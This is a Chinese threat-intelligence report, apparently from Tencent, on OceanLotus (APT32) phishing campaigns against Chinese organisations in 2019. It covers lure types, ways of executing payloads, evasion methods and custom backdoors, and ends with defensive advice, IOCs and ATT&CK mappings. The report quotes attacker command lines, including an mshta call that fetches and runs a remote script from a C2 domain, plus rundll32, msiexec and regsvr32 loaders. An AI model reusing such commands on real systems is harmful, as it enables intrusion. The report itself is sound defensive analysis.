海莲花”(OceanLotus)组织2019年针对中国大陆的攻击活动汇总

海莲花2019年攻击汇总

Posted by 张嘉伟 on 2019-12-05        本文总阅读量

概述

“海莲花”(又名APT32、OceanLotus),被认为是来自越南的APT攻击组织,自2012年活跃以来,一直针对中国大陆的敏感目标进行攻击活动,是近几年来针对中国大陆进行攻击活动最活跃的APT攻击组织,甚至没有之一。

腾讯安全御见威胁情报中心曾在2019年上半年发布过海莲花组织2019年第一季度攻击活动报告,在报告发布之后一直到现在,我们监测到该组织针对中国大陆的攻击持续活跃。该组织的攻击目标众多且广泛,包括中国大陆的政府部门、海事机构、外交机构、大型国企、科研机构以及部分重要的私营企业等。并且我们监测到,有大量的国内目标被该组织攻击而整个内网都沦陷,且有大量的机密资料、企业服务器配置信息等被打包窃取。

此外我们发现,该组织攻击人员非常熟悉我国,对我国的时事、新闻热点、政府结构等都非常熟悉,如刚出个税改革时候,就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。

而从攻击的手法上看,相对第一季度变化不是太大,但有一些小的改进,包括攻击诱饵的种类、payload加载、绕过安全检测等方面。而从整体攻击方式来看,依然采用电子邮件投递诱饵的方式,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。这也进一步说明了APT攻击活动不会因为被曝光而停止或者有所减弱,只要攻击目标存在价值,攻击会越来越猛烈,对抗也会越来越激烈。

有关海莲花APT组织2019年对中国大陆攻击情况的完整技术报告(11MB),请从这里下载:
https://pc1.gtimg.com/softmgr/files/apt32_report_2019.pdf

攻击特点

钓鱼邮件的迷惑性

海莲花组织擅长使用鱼叉攻击,通过大量精准发送钓鱼邮件来投递恶意附件的方式进行攻击。整个2019年,持续对多个目标不断的进行攻击,如下列钓鱼邮件:



从邮件主题来看,大部分邮件主题都非常本土化,以及贴近时事热点。邮件主题包括:《定-关于报送2019年度经营业绩考核目标建议材料的报告》、《组织部干部四处最新通知更新》、《关于2019下半年增加工资实施方案的请示(待审)》、《2019年工作报告提纲2(第四稿)》、《2019年5月标准干部培训课程通知》等等。

我们在2019年第一季度的报告中还提到海莲花组织采用敏感内容主题钓鱼邮件,不过在之后的攻击中并未再次发现使用该类型诱饵:

此外,投递钓鱼邮件的账号均为网易邮箱,包括126邮箱和163邮箱,账号样式为:名字拼音+数字@163(126).com,如:

邮箱账号
Sun**@126.com
yang**@126.com
chen**@126.com
zhao**@163.com
reny**@163.com

诱饵类型的多样化

海莲花组织所使用的诱饵类型众多,能想到的诱饵类型海莲花几乎都用过。除了我们在第一季度报告里提到的白加黑、lnk、doc文档、WinRAR ACE漏洞(CVE-2018-20250)的压缩包等类型外,之后的攻击中还新增了伪装为word图标的可执行文件、chm文件等。

可执行文件诱饵:

Chm诱饵:

白加黑诱饵:


带有宏的恶意office文档:

恶意lnk:

带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包:

载荷执行方式多变

直接执行可执行文件:


如该诱饵,伪装为word图标的可执行文件,并在文件描述里修改成了Microsoft DOCX,用于迷糊被钓鱼者。执行恶意文件后,会释放诱饵文档2019年5月标准干部培训课程通知.docx,并且打开,让受害者以为打开的就是word文档。而打开后的文档为模糊处理的文档,诱使受害者启用文档中的宏代码以查看文档内容,实际上启用宏之后,仍然看不到正常的内容:

使用rundll32加载恶意dll

如某诱饵在执行后,会在C:\Users\Administrator\AppData\Local\Microsoft目录释放真正的恶意文件{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll,然后使用rundll32来执行该dll:

1
"C:\Windows\system32\rundll32.exe" "C:\Users\ADMINI~1\AppData\Local\Microsoft\{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll",Register

使用宏来执行载荷,且宏代码经过的混淆处理:

Office内存执行恶意shellcode

使用宏代码,在office中直接解密shellcode,在内存中创建线程执行:

dll侧加载(白加黑)

使用dll侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。

其中所使用的宿主文件对包括:

白文件原名 黑dll文件名
iTunesHelper.exe AppVersions.dll
SGTool.exe Inetmib1.dll
Rar.exe ldvptask.ocx
GoogleUpdate.exe goopdate.dll
360se.exe chrome_elf.dll
Winword.exe wwlib.dll
rekeywiz.exe mpr.dll
wps.exe krpt.dll
wechat.exe WeChatWin.dll
通过com技术执行

通过com技术,把某恶意dll注册为系统组建来执行:

Chm内嵌脚本

Chm执行后,会提示执行ActiveX代码:

其脚本内容为:

不过由于编码处理的问题,该chm打开后为乱码:

而通过手动解压后,原始内容如下:

使用计划任务进行持久性攻击

如上面的chm诱饵执行后,会在%AppData%\Roaming下释放文件bcdsrv.dll,然后创建名为MonthlyMaintenance的计划任务:

命令行为:

1
C:\Windows\System32\msiexec.exe -Y C:\Users\Administrator\AppData\Roaming\bcdsrv.dll

bcdsrv.dll为真正的恶意文件。

lnk调用mstha执行

该方法的详细分析在之前的《海莲花2019年第一季度攻击披露》:


执行lnk后,会调用命令:

1
C:\Windows\SysWOW64\mshta.exe http://api.baidu-json.com/feed/news.html

而news.html实际为一个vbs脚本文件。

使用odbcconf.exe加载文件

odbcconf.exe为系统自带的一个文件,该文件可以用来执行dll文件,而由于宿主进程为系统文件,因此可以逃避一些安全软件的拦截:

WinRAR ACE(CVE-2018-20250)漏洞

带有该漏洞的压缩包,可以构造为:解压后除了会解压出正常的文件外,再在启动目录(C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)释放一个自解压文件:

该文件为一个自解压程序,等启动后,会释放一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令:

1
regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx

多重载荷攻击

我们在最新的攻击活动中,我们首次发现海莲花使用了多重载荷的攻击。之前的攻击活动中,都是解密shellcode后,就直接执行最终的RAT,如:

而在最新的攻击活动中,我们发现,解密shellcode后,会先下载shellcode执行,如果下载不成功,再来加载预先设定好的RAT:

这样使得攻击活动更加的丰富和多样性,并且也可控。

与安全软件对抗激烈

海莲花也采用了多种对抗安全软件的方式,主要为:
1、dll的侧加载(白加黑)
该技术上面已详细描述,这里不再赘述。

2、使用系统文件来执行:
如odbcconf.exe

3、Office中直接内存执行shellcode
上文也已经描述,这里也不再展开。

4、添加垃圾数据以扩充文件大小
为了防止该文件被安全厂商收集,海莲花组织特意在某些文件的资源中添加大量的垃圾数据的方式以扩充文件大小。
如某文件,填充垃圾数据后,文件大小高达61.4 MB (64,480,256 字节):


5、每台机器的第二阶段后门都是定制的
每台机器的第二阶段后门文件都是根据当前机器的机器属性(如机器名)来加密定制的,因此每台机器上的文件hash都是不一样,且没这台机器的相关信息则无法解密。因此且即便被安全厂商捕捉,只要没有这台机器的相关遥感数据就无法解密出真正的payload。详细的见后文的"定制化后门"部分。

6、通信的伪装
如某次攻击中C2的伪装:根据配置信息,可进行不同的连接和伪装,对C2进行拼装后再进行解析。拼接方式为(xxx为配置C2):

1
2
3
4
{rand}.xxx
www6.xxx
cdn.xxx
api.xxx


HTTP Header的伪装:

定制化的后门

使用定制化的后门(主要是第二阶段下发的后门),海莲花组织在2019年所使用的技术中最令人印象深刻的。该技术我们曾经在《2019年海莲花第一季度攻击报告》中首次曝光:针对每台机器下发的恶意文件,都使用被下发机器的相关机器属性(如机器名)进行加密,而执行则需要该部分信息,否则无法解密。
因此每个下发的恶意文件都不一样,而且即便被安全厂商捕捉,只要没有该机器的相关遥感数据就无法解密出真正的payload。

该后门最终使用白加黑的方式来执行,包括AdobeUpdate.exe+goopdate.dll、KuGouUpdate.exe+goopdate.dll、XGFileCheck.exe+goopdate.dll、SogouCloud.exe+ inetmib1.dll等组合来执行。

加密流程为:



可以看到,某次针对国家某单位的攻击中,使用的密钥为:

而该受害的用户名为Cao**,可见该木马只专门为了感染该电脑而特意生成的。

多种恶意软件的选择

从我们的长期跟踪结果来看,海莲花组织使用最终的恶意软件(无论是第一阶段后门还是第二阶段后门)主要有三种,分别是CobaltStrike的beacon木马、Denis家族木马、修改版的Gh0st。其中CobaltStrike和Denis使用的最多,而修改版的Gh0st则比较少见。

CobaltStrike:

Denis:

修改版Gh0st:

持续的内网渗透

通过钓鱼攻击攻陷一台主机后,海莲花还会不断对被攻击的内网进行渗透攻击活动,以此来渗透到更多的内网机器:
扫描:

获取hash:

打包文件:


此外,还会还会通过powershell,创建计划任务来下载持久化的工具:

最终的恶意文件为goopdate.dll,跟上文所述的第二阶段下发后门一致。

可能存在的假旗活动

在跟踪海莲花的过程中,我们还发现了一些跟海莲花活动类似的攻击:
如:


可以看出该批活动跟海莲花的类似:如关键字、使用白加黑等。
而该文件最终的执行的恶意代码为两种:
一种是CobaltStrike生成的Beacon payload;
另一种是metasploit生成的block_reverse_http的paylaod。
虽然CobaltStrike的Beacon木马海莲花组织一直在进行使用,但是之前未发现有metasploit生成的payload,这似乎跟之前的海莲花攻击活动又有些不一致。
此外该批活动的c2都在中国境内(包括中国香港),这似乎跟之前的攻击活动也不大一样:


虽然这波活动在极力模仿海莲花的一些攻击行为,但是也依然存在不同的地方。因此暂未有更多的证据可以表明该活动归属于海莲花还是其他组织使用的假旗(false flag)活动。因此在这先不做定论,等待更多的证据和关联的依据。

总结

海莲花组织是近年来针对中国大陆的敏感部门进行攻击最活跃的APT组织,甚至没有之一。当然该组织也是被安全公司曝光的针对中国大陆攻击活动报告最多的APT攻击组织。尽管被安全厂商频繁曝光,该组织并未有停手迹象,反而不断更新其技术和武器库,包括诱饵、payload、新的漏洞利用等,此外也有众多跟杀软的对抗手段,如自增文件大小、混淆方式、定制化的payload等。

因此我们提醒相关部门和相关人员,切记提高安全意识,不要随意执行来历不明的邮件的附件,不要被钓鱼信息所蒙蔽。

安全建议

1、提升安全意识,不要打开来历不明的邮件的附件;除非文档来源可靠,用途明确,否则不要轻易启用Office的宏代码;

2、及时安装操作系统补丁和Office等重要软件的补丁;

3、使用杀毒软件防御可能得病毒木马攻击,对于企业用户,推荐使用腾讯御点终端安全管理系统。腾讯御点内置全网漏洞修复和病毒防御功能,可帮助企业用户降低病毒木马入侵风险;

4、推荐企业用户部署腾讯御界高级威胁检测系统及时捕捉黑客攻击。御界高级威胁检测系统,是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html)

附录

IOCs

MD5
e7920ac10815428de937f2fca076b94c
4095b9682af13ca1e897ca9cc097ec69
b96de3d0023542f8624b82b9773373e9
5c5f8c80dcb3283afeb092cb0c13a58a
c90c7abcee1d98a8663904d739185d16
d249411f003d05c0cea012c11ba13716
3489140891e67807c550aa91c67dc4ad
22f8736bbc96c1a58ab07326d730a235
dade969b00cbc4a0c1b58eeb0e740b63
3c3b2cc9ff5d7030fb01496510ac75f2
d604c33d6ec99a87a672b3202cb60fa7
861fc5624fd1920e9d9cc7a236817dd7
8e2b5b95980cf52e99acfa95f5e1570b
3c8b2d20e428f8207b4324bb58f5d228
a81424e973b310edd50aed37590f4b8a
cf5d6d28c388edf58e55412983cf804a
6b8bec74620fbf88263b48c5a11b682e
9eb55481a0b5fcd255c8fb8de1042f88
5c00063b11c4710fe5a5a1adaf208b12
d30bc57624d233d94dc53a62908ef2df
886d0dd67e4cf132a1aed84263d661e3
2b3c5c831eb6b921ac128c4d44d70a7a
1dfb41e5919af80c7d0fa163a90e21e5
C&C
360skylar.host
wechats.asis
news.shangrilaexports.com
clip.shangweidesign.com
jcdn.jsoid.com
libjs.inquirerjs.com
baidu-search.net
sys.genevrebreinl.com
ad.ssageevrenue.com
tel.caitlynwells.com
us.melvillepitcairn.com
upgrade.coldriverhardware.com
cdnwebmedia.com
43.251.100.20
43.254.217.67
114.118.80.233

MITRE ATT&CK

Tactic ID Name
Initial Access T1193 Spearphishing Attachment
Execution T1106 Execution through API
- T1129 Execution through Module Load
- T1203 Exploitation for Client Execution
- T1085 Rundll32
- T1204 User Execution
- T1223 Compiled HTML File
- T1053 Scheduled Task
- T1117 Regsvr32
Persistence T1179 Hooking
- T1053 Scheduled Task
- T1060 Registry Run Keys / Startup Folder
Defense Evasion T1107 File Deletion
- T1140 Deobfuscate/Decode Files or Information
- T1036 Masquerading
- T1112 Modify Registry
- T1027 Obfuscated Files or Information
- T1085 Rundll32
- T1099 Timestomp
- T1117 Regsvr32
Credential Access T1179 Hooking
Discovery T1083 File and Directory Discovery
- T1046 Network Service Scanning
- T1135 Network Share Discovery
- T1057 Process Discovery
- T1082 System Information Discovery
- T1007 System Service Discovery
Lateral Movement T1534 Internal Spearphishing
Collection T1005 Data from Local System
- T1025 Data from Removable Media
- T1123 Audio Capture
- T1056 Input Capture
- T1113 Screen Capture
- T1115 Clipboard Data
Command and Control T1043 Commonly Used Port
- T1094 Custom Command and Control Protocol
- T1024 Custom Cryptographic Protocol
- T1001 Data Obfuscation
- T1065 Uncommonly Used Port

参考链接

https://s.tencent.com/research/report/715.html